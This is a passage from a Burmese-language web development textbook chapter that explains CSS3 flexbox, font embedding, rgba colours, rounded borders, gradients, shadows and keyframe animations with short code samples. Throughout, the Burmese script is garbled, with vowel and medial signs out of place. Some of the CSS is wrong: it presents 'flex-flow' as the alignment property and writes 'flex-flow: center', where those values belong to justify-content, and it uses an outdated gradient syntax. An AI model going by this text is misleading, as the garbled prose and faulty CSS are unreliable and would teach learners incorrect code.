Source: https://css-tricks.com/snippets/css/a-guide-to-flexbox/

ပထမဦးဆံုးအိနနဲ့ Container အတက်ွြ display: flex လ့ုိ သတမ်တှ်ိ ပးရေမာှ ပဖေစ်ပါတယ်။ ပပးီတဲ့အခါ Item
ိတကုိွြ  ိဘးချငး်ကြပစီ်ချငသ်လား၊  အိပါ်ိအာက်ြ  စီိစချငသ်လား  သတမ်တှဖ်ေို့အတက်ွြ  flex-direction  ကုိြ
အသံုးပပု သတမ်တှရ်ေမာှ ပဖေစ်ပါတယ်။ ဥပမာ -

.container {
    display: flex;
    flex-direction: row;
}

https://css-tricks.com/snippets/css/a-guide-to-flexbox/
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နမနူာအရေ  .container Element  ကုိြ  display: flex သတမ်တှပ်ပးီ  flex-direction: row လို့
သတမ်တှထ်ားတဲ့ အတက်ွြ ိဘးချငး်ကြပစီ်ထားတဲ့ Layout အပဖေစ်အလပုလ်ပု်ိ စမယ့် Flex Layout Box တစ်ခကုိုြ
ရေရေှိသွားပခငး်ပဲ  ပဖေစ်ပါတယ်။  ိဘးချငး်ကြပမ်စပီ၊ဲ  အိပါ်ိအာက်ြစီထားတဲ့  Item  ိတ ွ လိုချငရ်ေင်ိ တာ့  flex-
direction ကုိြ column လို့ သတမ်တှ်ိ ပးရေမာှပါ။

အိပခခအံားပဖေင့်  Flex Container  ကြ သူ့အတငွး်ထကဲြ  Item  ိတကုိွြ ိဘးချငး်ကြပ် စီိပးပါိပပာထားရေင၊်  Items
ိတသိွပမ်ျားိနလညး်ပ ဲမဆန့်ဆန့်ိ အာင် စီိပးသွားမာှ ပဖေစ်ပါတယ်။ အ့ဲဒလီိုမဟတုပ် ဲမဆန့တ်ဲ့အခါ အလိုအိလျှာက်ြ
ိနာက်ြတစ်ဆင့်ကုိြ ဆငး်သာွးိစလိုရေင် flex-wrap ကုိြ အသံုးပပု သတမ်တှန်ိုငပ်ါတယ။် ဥပမာ - 

.container {
    display: flex;
    flex-direction: row;
    flex-wrap: wrap;
}

flex-wrap အတက်ွြ wrap လို့ သတမ်တှ်ိ ပးထားတဲ့အတက်ွြ ပုံ (၁၃-ဆ) မာှ ပပထားသလို ရေလဒမ်ျို းကုိြ ရေရေှိသွား
မာှပ ဲပဖေစ်ပါတယ်။

ပုံ (၁၃-ဆ) Flex Wrap
Source: https://css-tricks.com/snippets/css/a-guide-to-flexbox/

ဆက်ြလက်ြပပးီ  Item  ိတ ွိနရောချထားပုံချထားနညး်ကုိြ  flex-flow နဲ့  သတမ်တှန်ိုငပ်ါတယ်။ ဘာနဲ့တသူလဆုိဲ
ိတာ့  text-align Property  နဲ့တပူါတယ။်  text-align Property  ကုိြသံုးပပးီ  left,  right,
center, justify စတဲ့ တနဖ်ေိုးိတ ွသတမ်တှပ်ပးီ ဘယ်ဘက်ြကုိြ အညယီူိ စချငသ်လား၊ ညာဘက်ြကုိြအညယူီိစ
ချငသ်လား စသပဖေင့် သတမ်တှန်ိုငသ်လိုပဲ  Flex Container  ထဲကြ Item ိတကုိွြလညး် ဘယ်ကြပ်ိ နရောယူရေ မလား
ညာကြပ ်ိနရောယူိစချငသ်လား စသပဖေင့် သတမ်တှပ်ခငး်ပ ဲပဖေစ်ပါတယ်။ သတမ်တှန်ိုငတ်ဲ့ တနဖ်ေိုးိတကွြ -

• flex-start
• flex-end
• center
• space-between
• space-around

တို့ပဲ ပဖေစ်ပါတယ။် ပုံ (၁၃-ဇ) မာှ တနဖ်ေိုးတစ်ခခုျင်းရေဲ့  အလပုလ်ပုပ်ုံကုိြ ိလ့လာအကြည့်ပါ။

https://css-tricks.com/snippets/css/a-guide-to-flexbox/
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ပုံ (၁၃-ဇ) Flex Flow
Source: https://css-tricks.com/snippets/css/a-guide-to-flexbox/

ိနာက်ြထပမ်တှသ်ားရေမယ့် Property ကြိတာ့ align-items ပဖေစ်ပါတယ်။ Container ထဲမာှပါဝငတ်ဲ့ Item ိတွ
ကုိြ Vertical Align ဘယ်လို စီိပးရေမလ ဲသတမ်တှပ်ခငး်ပဖေစ်ပါတယ်။

ပုံ (၁၃-စျ) Align Item
Source: https://css-tricks.com/snippets/css/a-guide-to-flexbox/

flex-start

flex-end

center

space-between

space-around

flex-start

center

baseline

stretch

flex-end

text text text texttext text text text

https://css-tricks.com/snippets/css/a-guide-to-flexbox/
https://css-tricks.com/snippets/css/a-guide-to-flexbox/


Professional Web Developer - အခန်း (၁၃) HTML5 Overview 427

align-items Property အတက်ွြ သတမ်တှန်ိုငတ်ဲ့ တနဖ်ေိုးိတကွြိတာ ့-

• flex-start
• flex-end
• center
• stretch
• baseline

တို့ပပဲဖေစ်ပါတယ်။ တနဖ်ေိုးတစ်ခခုျင်းစီရေဲ့  အလပုလ်ပုပ်ုံကုိြ  ပုံ  (၁၃-စျ) မာှ ိလ့လာအကြည့်နိုငပ်ါတယ။် ဒသီတမ်တှခ်ျက်ြ
ိတ ွိပါင်းစပပ်ါဝငတ်ဲ့ Flex Container တစ်ခရုေဲ့  သတမ်တှပ်ုံကြ အခလုို ပဖေစ်နိုငပ်ါတယ။်

.container {
    display: flex;
    flex-direction: row;
    flex-wrap: wrap;
    flex-flow: center;
    align-items: stretch;
}

Container  အတက်ွြ အခလုို  ိအကြပငာသတမ်တှပ်ပးီပပဆုိီရေင်  Item  တစ်ခခုျငး်အတက်ွြ သတမ်တှလ်ို့ရေတဲ့  Property
ိတကုိွြလညး် ဆက်ြလက်ြိလလ့ာရေပါမယ်။

Item ိတရွေဲ့  ိရေှ့ိနာက်ြအစအီစဉ် Order ကုိြ အိပခခအံားပဖေင့် HTML Structure မာှ ထည့်သွငး်ထားတဲ့ အစီအစဉ်
အတိုငး်သာ ိဖောပ်ပမာှပဖေစ်ပါတယ်။  HTML Structure  အစီအစဉ်အတိုငး်မဟတုပ်ဲ  အစီအစဉ်ကုိြ  Item  တစ်ခခုျငး်
အတက်ွြ ကုိြယတ်ိုငသ်တမ်တှလ်ိုရေင်ိ တာ့  order Property  ကုိြ သံုးရေပါတယ်။ တနဖ်ေိုးအိနနဲ့  1, 2, 3, 4  စသပဖေင့်
ိရေှ့ိနာက်ြ အစီအစဉကုိ်ြ မမိနိစ်ှသက်ြသလို သတမ်တှန်ိုငပ်ါတယ်။ ပုံ (၁၃-ည) မာှ ိလလ့ာနိုငပ်ါတယ်။

ပုံ (၁၃-ည) Flex Item Order
Source: https://css-tricks.com/snippets/css/a-guide-to-flexbox/

နမနူာမာှ Item ိတရွေဲ့  အရေယ်ွအစားကြို မအကြည့်ပါနဲ။့ ိရေှ့ိနာက်ြ အစီအစဉ်ကုိြသာအကြည့်ပါ။ Order သတမ်တှခ်ျက်ြကြ
အရေွယ်အစားနဲ့  မဆုိငပ်ါဘးူ။  Container  ထမဲာှ ိနရော  (Width)  ိတပွိုိ နတဲ့အခါ အလိုအိလျှာက်ြ ိနရောလတွကုိ်ြ
ပဖေည့်ယူချင်ိ စဖေို့အတက်ွြ၊  ပဖေည့်ယူိစလိုတဲ့  Item  မာှ  flex-grow Property  ကုိြ  သံုးရေပါတယ်။  ပုံ  (၁၃-ဋ) ကုိြ
အကြည့်ပါ။

https://css-tricks.com/snippets/css/a-guide-to-flexbox/
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ပုံ (၁၃-ဋ) Flex Grow
Source: https://css-tricks.com/snippets/css/a-guide-to-flexbox/

flex-grow ရေဲ့  Default Value ကြ 0 ပါ။ Item အားလုံးကုိြ ညတီမူျှတူ  1 လို့ သတမ်တှ်ိ ပးလိုက်ြတဲ့အခါ ိနရော
လတွကုိ်ြ ညတီမူျှတူ ပဖေည့်ယူသာွးပါတယ်။ Item ိတထွကဲြ တစ်ခကုိုြ 2 လ့ုိ သတမ်တှလ်ိုက်ြတဲ့အခါမာှိတာ့ အဲဒ့ီ Item
ကြ အပခား Item ိတထွက်ြ ဆတိုးပိုပပးီ ိနရောယူသွားတာကုိြ ိတွ့ရေမာှပဖေစ်ပါတယ်။

အလားတပူဲ Container ကြိသးပပးီ ိနရောမဆန့်တဲ့အခါ Item ိတကုိွြ အရေယ်ွအစား အလိုအိလျှာက်ြ ိနရောိလျှာယူ့
သွားိစလိုရေင်ိ တာ့  flex-shrink Property  ကုိြ  သံုးနိုငပ်ါတယ။်  တနဖ်ေိုးသတမ်တှပ်ုံနဲ့  အလပုလ်ပုပ်ုံကြိတာ့
flex-grow နဲ့  တူပါတယ်။  Container  ရေဲ့  အရေယ်ွအစား  ကကီြးသွားသညပ်ဖေစ်ိစ၊  ိသးသွားသညပ်ဖေစ်ိစ၊  Item
အားလုံးကြ အပမတဲန်း အရေယ်ွတူ ိနရောပပည့် ပဖေစ်ိနစလိုရေင်ိ တာ့  Item အားလုံးအတက်ွြ flex-grow နဲ့  flex-
shrink ကုိြ  1  လ့ုိ  တစ်ညတီညး်  သတမ်တှထ်ားနိုငပ်ါတယ်။  အဲဒလီို  သတမ်တှဖ်ေို့အတက်ွြ  အခလုိုလညး်
အတိုိ ကြာက်ြ ိရေးနိုငပ်ါတယ်။

.item {
    flex: 1 1;
}

flex Property  ကုိြ အသံုးပပုပခငး်ပဖေစ်ပပးီ ိရေှ့ကြ 1 ကြ flex-grow အတက်ွြပဖေစ်ပါတယ်။ ိနာက်ြကြ 1 ကြိတာ့
flex-shrink အတက်ွြပါ။ လက်ြိတွ့နမနူာ အိနနဲ့  3-Columns Layout တစ်ခကုိုြ ထည့်သွငး် ိဖောပ်ပိပးလိုက်ြ
ပါတယ်။ ိအာက်ြပါ HTML Structure ကုိြ ိလလ့ာအကြည့်ပါ။

<div class="wrap">
    <header></header>

<section>
    <nav></nav>
    <article></article>
    <aside></aside>
</section>

    <footer></footer>
</div>

https://css-tricks.com/snippets/css/a-guide-to-flexbox/
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<section> Element  အတငွး်မာှ  Block Element (၃)  ခပုါဝငပ်ါတယ်။  <section> ကြ  Flex Container
ပဖေစ်ပပးီ  <section> အတငွး်ထကဲြ Element ိတကွြ Flex Items ိတပွဖေစ်မာှပါ။ ဆက်ြလက်ြပပးီ ိအာက်ြပါ  CSS
Code နဲ့ ိပါငး်စပ် စမး်သပအ်ကြည့်ပါ။

.wrap {
margin: 20px auto;
width: 1200px;

}

header {
height: 100px;
background: red;

}

section {
display: flex;
align-items: stretch;
height: 200px;

}

nav, aside {
width: 200px;
background: yellow;

}

article {
flex-grow: 1;
background: gray;

}

footer {
height: 50px;
background: orange;

}

Code ကုိြိလလ့ာအကြည့်ရေင် section အတက်ွြ display: flex သတမ်တှထ်ားပပးီ Flex Container ပဖေစ်ိစပါ
တယ်။ Flex Direction ကြိတာ့ မိအကြပငာလညး် row ပမဲို့ ိအကြပငာမိနိတာပ့ါဘူး။ Flex Item ိတပွဖေစ်တဲ့ nav
နဲ့  aside တို့အတက်ွြ  width: 200px လို့  သတမ်တှထ်ားပပးီ  article ကုိြိတာ့  flex-grow: 1 လို့
သတမ်တှထ်ားပါတယ်။ ဒါိအကြာင့် nav နဲ့  aside ကြ 200px စီ ကုိြယ်စီိနရောယူပပးီ article ကြိတာ့ ကြျန်ိ န
တဲ့ ိနရောလတွ် အားလုံးကုိြ ယူသွားမာှပ ဲပဖေစ်ပါတယ်။ ရေလဒက်ြ ပုံ (၁၃-ဌ) မာှိဖောပ်ပထားသလို ရေရေှိမာှပါ။
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ပုံ (၁၃-ဌ) Flex Layout Example

CSS Code ကုိြ ပပန်ိ လလ့ာအကြည့်ရေင် Flex Item ိတပွဖေစ်အကြတဲ့ nav, article နဲ့ aside တို့အတက်ွြ Height
ိတ ွိအကြပငာမထားပါဘူး။ ဒါိပမယ့် Flex Container ပဖေစ်တဲ့  section မာှ  align-items: stretch လ့ုိ
ိပပာထားတဲ့ အတက်ွြ  Flex Item ိတအွားလုံးကြ Container  ရေှိသိလာက်ြ  Height  အပပည့် အညယီထူားအကြပခင်း
ပဖေစ်ပါတယ်။

ဒနီညး်နဲ ့float ိတဘွာိတ ွမလိုပဲ CSS3 နဲ့ Layout ိတ ွတည်ိ ဆာက်ြနိုငပ်ပ ီပဖေစ်ပါတယ်။

Font Embed
CSS3 ရေဲ့  ိနာက်ြထပ် အသံုးဝငတ်ဲ့ လုပ်ိ ဆာငခ်ျက်ြကြိတာ့ Font Embed ပဖေစ်ပါတယ်။ CSS နဲ့ font-family
သတမ်တှတ်ဲ့အခါ  ကြျွန်ိ တာတ်ို့သတမ်တှ်ိ ပးထားတဲ့  Font  ကြ  အသံုးပပုသူရေဲ့စက်ြထမဲာှ  ရေှိမသှာ  အဆင်ိ ပပမာှပါ။
Font  ိလးတစ်ခု ဆနး်ပပားလပှလို့ဆိုပပးီ  Style  ထဲမာှသတမ်တှအ်သံုးပပုထားိပမယ့် အသံုးပပုသူရေဲ့  စက်ြထမဲာှ အ့ဲဒီ
Font မရေှိရေင ်အလပုလ်ပုမ်ာှမဟတုပ်ါဘးူ။ ဒါိအကြာင့် font-family သတမ်တှတ်ဲ့အခါမာှ Web Safe Font သုိမ့ဟတု်
Common Font လိုိ့ ခါ်တဲ့ OS တိုငး်မာှ ပါဝင်ိ လရ့ေှိတဲ့ Font ိတထွကဲြသာ ိရေးွချယ်သတမ်တှအ်ကြရေိလ ့ရေှိပါတယ်။

CSS3  မာှိတာ့  Website  နဲ့အတူ  Font  ကုိြ  တစ်ပါတညး်တွဲဖေက်ြထည့်သွငး်ိပးလိုက်ြနိုငတ်ဲ့  Font  Embed
လပု်ိ ဆာင ်ချက်ြ ပါဝငလ်ာပါတယ်။ ဒီိ တာ ့အသံုးပပုသူစက်ြထမဲာှ Font မရေှိရေငလ်ညး်ကိြစ္စမရေှိိ တာပ့ါဘးူ။ Browser
ကြ ကြျွန်ိ တာတ်ို့  Embed  လုပပ်ပးီ  ထည့်သွငး်ိပးထားတဲ့  Font  ကုိြအသံုးပပုိဖောပ်ပိပးသွားမာှ ပဖေစ်ပါတယ်။  CSS
Font Embed ကုိြ အခလုို ပပုလပုန်ိုငပ်ါတယ် -

@font-face { 
  font-family: MyHelvetica; 
  src: local("Helvetica Neue"), url(MgOpenModernaBold.ttf); 
}

@font-face ိအကြပငာချက်ြကုိြသုံးပပးီ ိအကြပငာသတမ်တှရ်ေပါတယ်။ Embed လပုမ်ယ့်  Font ရေဲ့  အမညကုိ်ြ font-
family နဲ့ သတမ်တှ်ိ ပးရေပါတယ်။  src အတက်ွြ local() နဲ့ url() ဆုိပပးီ Source နစ်ှမျို းိပးထားပါတယ်။
local() မာှသတမ်တှထ်ားတဲ့ Font အမညန်ဲ့ အသံုးပပုသူစက်ြထမဲာှရေှိိ နရေင်  Embed လုပထ်ားတဲ့ Font ကုိြ ရေယူ



Professional Web Developer - အခန်း (၁၃) HTML5 Overview 431

မိန ပရဲေှိိ နတဲ့  Font  ကုိြပသံုဲးလိုက်ြိစဖေို့  သတမ်တှထ်ားတာပါ။  local() မာှသတမ်တှထ်ားတဲ့  Font  မရေှိိ တာမ့ှ
url() မာှ  သတမ်တှ်ိ ပးထားတဲ့  Font File  ကုိြ  Browser  ကြ  Download  လပုပ်ပးီ  အသံုးပပုိပးသွားမာှပဖေစ်ပါ
တယ်။ Embed လပု် ထားပပးီပဖေစ်တဲ့  Font  ကုိြ အသံုးပပုလိုရေင်  @font-face ထဲကြ font-family  မာှ သကြ
မတှခ်ဲ့တဲ့အမညအ်တိုင်းပ ဲဆက်ြလက်ြအသံုးပပုရေမာှပါ။

h1 { 
    font-family: MyHelvetica;
}

ဒီိ နရောမာှလညး်  Browser  ိတကွြ  Support  လုပတ်ဲ့  Font  Format  မတတူဲ့ပပဿနာိတာရ့ေှိပါတယ်။ ဒါိပမယ့်
ကိြစ္စမရေှိ ပါဘးူ။ Font Squirrel လုိ ဝန်ိ ဆာငမ်ှုမျို းကြ Font တစ်ခကုိုြိပးလိုက်ြရေင ်Browser အမျို းမျို းကြ Support
လပုတ်ဲ့  Format  အမျို းမျို း  အပဖေစ်  Convert  လပုပ်ပးီ  ပပန်ိ ပးနိုငသ်လို  ိရေးရေမယ့်  CSS  Code  နမနူာကုိြပါ
တစ်ခါတညး်ိပးနိုငပ်ါ ိသးတယ်။

Link: http://www.fontsquirrel.com/fontface/generator

Google Font API ကုိြလညး်အသံုးပပုနိုငပ်ါတယ်။ fonts  .google.com   မာှ ရေှိိ နတဲ့ Font ိတထွကဲြ အသံုးပပု လုိတဲ့
Font  ကုိြ ိရေးွချယ်ပပးီ  <link> Element နဲ့ ချတိဆ်က်ြိပးလိုက်ြယုံပါပ။ဲ  Font Embed လပုတ်ဲ့ကိြစ္စကုိြ  Google
ကြ အသင့်ိ ရေးထားလို့ Browser အားလုံးနဲ့ အဆင်ိ ပပိစဖေို့ ကြျွန်ိ တာတ်ို့စိတပ်ဖူေို့ မလိုိ တာပ့ါဘူး။

ပုံ (၁၃-ဍ) Google Fonts

http://fonts.google.com/
http://fonts.google.com/
http://www.fontsquirrel.com/fontface/generator
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RGBA Color
Color  Value  အတက်ွြ  CSS2  မာှ  Color  Name,  RGB  နဲ့  Hex  Code  များအသံုးပပုခဲ့အကြပါတယ်။  RGBA
ကြိတာ့ အိရောင်ိ တရွေဲ့  Transparency ကုိြပါထည့်သွင်းသတမ်တှဖ်ေို့အတက်ွြ အသံုးပပုနိုငတ်ဲ့  CSS3 Color Value
တစ်ခပုဖေစ်ပါတယ်။

#dialog {
  background: #555;
  background: rgba(0, 0, 0, 0.6);
}

#dialog Element ရေဲ့  ိနာက်ြခအံိရောငကုိ်ြ နစ်ှမျို းသတမ်တှထ်ားပါတယ်။ CSS3 နားမလညတ်ဲ့ Browser ိတကွြ
Hex  Code  နဲ့သတမ်တှထ်ားတဲ့  အိပါ်တစ်ိအကြာငး်ပဲ  အလပုလ်ပုသွ်ားမာှပဖေစ်ပပးီ   rgba() ကုိြမသိတဲ့အတက်ွြ
ဒတုယိသတမ်တှ်  ချက်ြကုိြ  အလပုမ်လပုပ်ဲ  ိကြျာသွ်ားမာှပဖေစ်ပါတယ်။  CSS3  နားလညတ်ဲ့  Browser  ိတကွြိတာ့
rgba() နဲ့  သတမ်တှ် ထားတဲ့ ဒတုယိသတမ်တှခ်ျက်ြကုိြ  (ိနာက်ြမှိ ရေးထားတဲ့အတက်ွြ)  အတညယူ်ပပးီ အလပုလ်ပု်
ိပးသွားမာှပဖေစ်ပါတယ်။ CSS3 Feature ိတ ွအသံုးပပုတဲ့အခါ ဒနီညး်ကြ အိလအ့ကြျင့်ိ ကြာငး်ပဖေစ်ပါတယ်။ CSS3
အလပုမ်လပုခ်ဲ့ရေငလ်ညး် ရုိးရုိး  CSS2  သတမ်တှခ်ျက်ြကုိြ  Fallback  အိနနဲ့  အသံုးပပုိပးသွားလို့  Style  ကုိြ ကကီြး
ကကီြးမားမား  မထခိိုက်ြိစိတာပ့ါဘးူ။  rgba() အတက်ွြ  တနဖ်ေိုးိလးခုိ ပးရေပါတယ်။  ိရေှ့ သံုးခကုြိတာ့  rgb()
အတက်ွြလိုပဲ  Red,  Green  နဲ့  Blue  တို့  အတက်ွြ  တနဖ်ေိုးိတပွဖေစ်ပါတယ်။  ိနာက်ြဆံုးတစ်ခကုြိတာ့   Alpha
Transparency အတက်ွြပါ။ အပမင့်ဆံုးတနဖ်ေိုး အပဖေစ် 1 ကုိြသတမ်တှန်ိုငပ်ပးီ အနမိ့်ဆံုး  0  ပဖေစ်ပါတယ်။ 0 နဲ့ 1 အကြား
သတမ်တှလ်ိုတဲ့ Transparency Level ကုိြ ဒဿမကိြနး်နဲ့ ထည့်သွငး် သတမ်တှ်ိ ပးနိုငပ်ါတယ်။

Border Radius
Element ိတရွေဲ့  Border ကုိြ ိဒါင့်ချို းအိကွြး အဝိုငး်ိလးိတနွဲ့လိုချငရ်ေင ်border-radius CSS3 Property နဲ့
သတမ်တှန်ိုငပ်ါတယ်။  အခန်း  (၃) မာှ  CSS  ိလ့လာခဲ့စဉက်ြလညး်  ဒီ  Property  ကုိြ  ထည့်သွငး်အသံုးပပု  ခဲ့ဖေးူပါ
တယ်။

#dialog {  border-radius: 10px;  }

10px အစားနစ်ှသက်ြရော  Size  ကုိြသတမ်တှ်ိ ပးနိုငပ်ါတယ။်  ိဒါင့်ကြ ိလးိဒါင့်ရေှိတဲ့အတက်ွြ တစ်ဘက်ြစီအတက်ွြ
သတမ်တှလ်ိုရေင ်အခလုိုသတမ်တှန်ိုငပ်ါတယ်။

#dialog {  border-radius: 10px 10px 0 0;  }

TopLeft,  TopRight,  BottomRight,  BottomLeft  ိဒါင့်ိ လးိဒါင့်အတက်ွြ  သတမ်တှလ်ိုတဲ့  Size  များကုိြ
အတိုိ ကြာက်ြ ိရေးနညး်နဲ့ အစဉ်အတိုငး်သတမ်တှ်ိ ပးနိုငပ်ခငး်ပဖေစ်ပါတယ်။ 
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Linear Gradient
Element ိတရွေဲ့  Background Image ိနရောမာှ Image အစား CSS3 Gradient ကုိြအသံုးပပုနိုငပ်ါတယ်။

Linear Gradient သတမ်တှပ်ုံကြ ဒလီိုပါ - 

#dialog {  background: linear-gradient(top, #469, #247);  }

linear-gradient  အတက်ွြ  အိပခခအံားပဖေင့်  တနဖ်ေိုး  (၃)  ခု  သတမ်တှ်ိ ပးနိုငပ်ါတယ်။  ပထမတစ်ခကုြ  Gradient
အစပပုရေမယ့်  Position  ပဖေစ်ပါတယ်။  top,  right,  bottom,  left  စသပဖေင့်  သတမ်တှ်ိ ပးနိုငပ်ါတယ်။  ဒါမမှဟတု်
Angle Degree (ဥပမာ  - 45deg, -90deg, 70deg, 0deg)  အိနနဲ့လညး် သတမ်တှ်ိ ပးနိုငပ်ါ တယ်။ ကြျနန်စ်ှခု
ကြိတာ၊့ အစပပုရေမယ့် အိရောငန်ဲ့ အဆုံးသတ်ိ ရောစပ်ိ ပးရေမယ့်အိရောငတ်ို့ ပဖေစ်ပါတယ်။ 

Linear  Gradient  ဟာ  CSS3  Gradient  ိတထွကဲြအရိးုစငး်ဆံုးတစ်ခပုဖေစ်ပါတယ်။  Color  Stop,  Radial
Gradient, Repeating Gradients စတဲ့ပိုပပးီ Complex ပဖေစ်တဲ့ Gradient ိတလွညး် ရေှိပါိသးတယ်။

ပုံ (၁၃-ဎ) RGBA, Border Radius and Linear Gradient Demo
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Text Shadow and Box Shadow
စာိတအွတက်ွြ  Drop  Shadow  ထည့်သွငး်ိဖောပ်ပိစလိုရေင်  text-shadow Property  ကုိြသံုးနိုငပ်ပးီ  Element
တစ်ခလုုံးအတက်ွြ ိဖောပ်ပိစလိုရေင်ိ တာ ့box-shadow ကုိြ သံုးနိုငပ်ါတယ်။

p.note {  text-shadow: 2px 2px 3px #555;  }

#dialog {  box-shadow: 5px 5px 10px #999;  }

text-shadow နဲ့  box-shadow Property  နစ်ှခလုုံးအတက်ွြ တနဖ်ေိုးကုိြ  (၄)  ခသုတမ်တှ်ိ ပးရေပါတယ။် ိရေှ့ ဆံုး
တစ်ခကုြ  X  Offset  ပဖေစ်ပပးီ  ဒတုယိတစ်ခကုြ  Y  Offset  ပဖေစ်ပါတယ်။  Shadow  တညရ်ေှိရေမယ့်  အကွြာအိဝးကုိြ
သတမ်တှ် ိပးပခင်းပဖေစ်ပါတယ်။ တတယိ တစ်ခကုြိတာ့  Blur Radius ပါ။  Shadow ိဖောပ်ပတဲ့အခါမာှ ထည့်သွငး်
ိပးတဲ့ Blur Effect ရေဲ့  Size ကုိြ သတမ်တှ်ိ ပးရေပခငး်ပါ။ ိနာက်ြဆံုးတစ်ခကုြိတာ့ Shadow Color ပဖေစ်ပါတယ်။

ပုံ (၁၃-ဏ) Box Shadow and Text Shadow Demo
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Animations
CSS3 မာှ Animation လပု်ိ ဆာငခ်ျက်ြလညး် ပါဝငလ်ာပါတယ်။ ဒါိအကြာင့် တစ်ချို ့ အိပခခ ံVisual Animation 
ရေရေှိဖေို့ အတက်ွြသက်ြသက်ြနဲ့ JavaScript ိတသံုွးိနဖေိုမ့လိို တာပ့ါဘးူ။ CSS နဲ့ပဲ အခလုို သတမ်တှထ်ားနိုငမ်ာှပဖေစ်ပါ
တယ်။

.note { 
  animation: pulse 5s infinite; 
} 

@keyframes pulse { 
  0% { 
    background-color: orange; 
  } 
  100% { 
    background-color: red; 
  } 
}

animation Property ကုိြသံုးပပးီ Select လပုထ်ားတဲ့ Element အတက်ွြ Animation ိတကုိွြ သတမ်တှထ်ားနိုင်
ပခငး်  ပဖေစ်ပါတယ်။  နမနူာအရေ  Animation  Name  ကုိြ  pulse  လ့ုိသတမ်တှထ်ားပါတယ်။  pulse အတက်ွြ
Definition  ကုိြ  @keyframes pulse နဲ့  ိအကြပငာသတမ်တှထ်ားပါတယ်။  0% ဆုိတာကြ  Animation  ရေဲ့အစ
Frame  ဆုိတဲ့အဓပိ္ပါယ် ပါ။  100% ကြိတာ့  Animation  အဆံုး  Frame  ဆုိတဲ့ အဓပိ္ပါယ်ပဖေစ်ပါတယ်။ အကြားထမဲာှ
10%, 20%, 30% စသပဖေင့်  Animation Frame  ိတ ွလိုအပရ်ေင်  ထပထ်ည့်နိုငပ်ါတယ်။  0% Frame  အတက်ွြ
Background  ကုိြ လိိ မိမ္မော်ိ ရောငလ်ို့  သတမ်တှထ်ားပပးီ၊  100% အတက်ွြ  Background  ကုိြ အနီိ ရောငလ်ို့  သတမ်တှ်
ထားပါတယ်။

ဒါိအကြာင့်  .note Element  အတက်ွြ  Animation  Name  ကုိြ  pulse  လို့သတမ်တှလ်ိုက်ြတဲ့အတက်ွြ  .note
Element  ရေဲ့  Background  အိနနဲ့  လိိမိမ္မော်ိ ရောငက်ြိန အနီိ ရောငကုိ်ြ  ိပပာငး်ိနတဲ့  Animation  ကုိြရေရေှိမာှပဖေစ်ပါ
တယ်။  animation Property  အတက်ွြသတမ်တှထ်ားတဲ့  5s ကြိတာ့  Animation  Duration  ပဖေစ်ပါတယ်။
Background  အိရောင်ိ ပပာငး်တဲ့  Animation  ကုိြ  အချနိ်  ၅ စကြ္ကန့်ယူပပီး  အလပုလ်ပုဖ်ေို့  သတမ်တှထ်ားပခငး်ပဖေစ်ပါ
တယ်။ စကြ္ကန့န်ညး်ိလ၊  Animation Speed  ပမန်ိ လပဖေစ်ပပးီ၊  စကြ္ကန့်များိလ Animation Speed  ိနးှိလပဖေစ်ပါ
တယ်။

infinite ဆုိတာကြိတာ့  Animation  Iteration  Count  ပဖေစ်ပါတယ်။  infinite လိုိ့ ပပာထားတဲ့အတက်ွြ
Animation ကုိြထပခ်ါထပခ်ါ အလပုလ်ပု်ိ ပးိနမာှပဖေစ်ပါတယ။် အကြယ်၍ (၃) ကကိြမပ်ဲ အလပုလ်ပု်ိ စလိုရေင် infinite
အစား 3 လ့ုိ သတမ်တှထ်ားနိုငပ်ါတယ်။ animation Property နဲ့အတူ တဲွဖေတသ်တမ်တှလ်ို့ရေတဲ့ Value ကြိတာ့
direction ပဖေစ်ပါတယ်။  Animation  တစ်ကကိြမပ်ပးီသွားတဲ့အခါ အစကြ ိနပပနမ်စပပးီ  ိနာက်ြပပနပ်ပနသွ်ားိစလို
ရေင် (ဥပမာ - လိိမိမ္မော်  အနီ  လိိမိမ္မော်→ → ) Direction ကုိြ alternate လို့သတ် မတှထ်ားနိုငပ်ါတယ်။ Direction
ကုိြ alternate သတမ်တှမ်ထားရေင်ိ တာ့ အပမတဲမး် အစကြိနပ ဲပပနစ်ိပး ိနမာှပဖေစ်ပါတယ်။ ဥပမာ -



Professional Web Developer - အခန်း (၁၃) HTML5 Overview 436

.note { 
  animation: pulse 5s infinite alternate; 
  /* name=pulse, duration=5s, iteration=infinite, direction=alternate */
} 

@keyframes pulse { 
  0% { 
    background-color: yellow; 
  } 
  50% {

background-color: orange;
  }
  100% { 
    background-color: red; 
  } 
}

Vendor Prefixes
CSS ရေဲ့ထးူပခားချက်ြကြ Feature အားလုံးကုိြစစုညး်ပပးီမှ  W3C Recommendation အိနနဲ့ ိအကြပငာတာမဟတုပ်ါ
ဘးူ။   Feature  တစ်ခကုြ ိကြျနပ်ိ လာက်ြတဲ့အဆင့်ိ ရောက်ြရေင်  အ့ဲဒတီစ်ခကိုြပုဲ  W3C Recommendation  အပဖေစ်
သတမ်တှ်ိ လ ့ရေှိပါတယ်။ ဥပမာ - rgba() ိရော border-radius ပါ CSS3 ရေဲ့  အစိတအ်ပိငုး်ိတပွဖေစ်အကြိပမယ့်
rgba() ကုိြ  လက်ြရေှိမာှ  W3C  Recommendation  အဆင့်သတမ်တှထ်ားပပးီ  border-radius ကြိတာ့
Candidate  Recommendation  အဆင့်မာှပရဲေှိပါိသးတယ်။  တစ်ချနိတ်ညး်မာှပဲ  CSS4  ရေဲ့  တစ်ချို ့အစိတအ်ပိုငး်
ိတကွြ Working Draft အဆင့် ိရောက်ြလာိနပါပပ။ီ

အ့ဲဒလီိုထးူပခားချက်ြိအကြာင့်  Browser  ိတကွြ  CSS3  လ့ုိိပပာိနိပမယ့်အချို ့  W3C Recommendation  အဆင့်
Feature  ိတကုိွြသာ အပပည့်အဝ  Support  လုပပ်ပးီ  အချို ့  Candidate Recommendation  နဲ့  Working Draft
အဆင့် ိတကုိွြိတာ ့Support လုပလ်ို့မရေိသးပါဘးူ။

ဒါိပမယ့်  Browser  ိတကွြ  Feature  အားလုံးကုိြ  W3C Recommendation  အဆင့်ပဖေစ်ိအာင်ိ စာင့်မိနပါဘးူ။
အပခား စမး်သပအ်ဆင့်  Feature  ိတကုိွြလညး် ကကိြုတငထ်ည့်သွငး် ိပးထားအကြိလရ့ေှိပါတယ်။ ဒလီိုထည့်သွငး်ထား
တဲ့ စမး်သပ် အဆင့်  CSS Feature  ိတကုိွြအသံုးပပုလိုရေင်  သက်ြဆုိငရ်ော  Browser  ကြသတမ်တှထ်ားတဲ့  Vendor
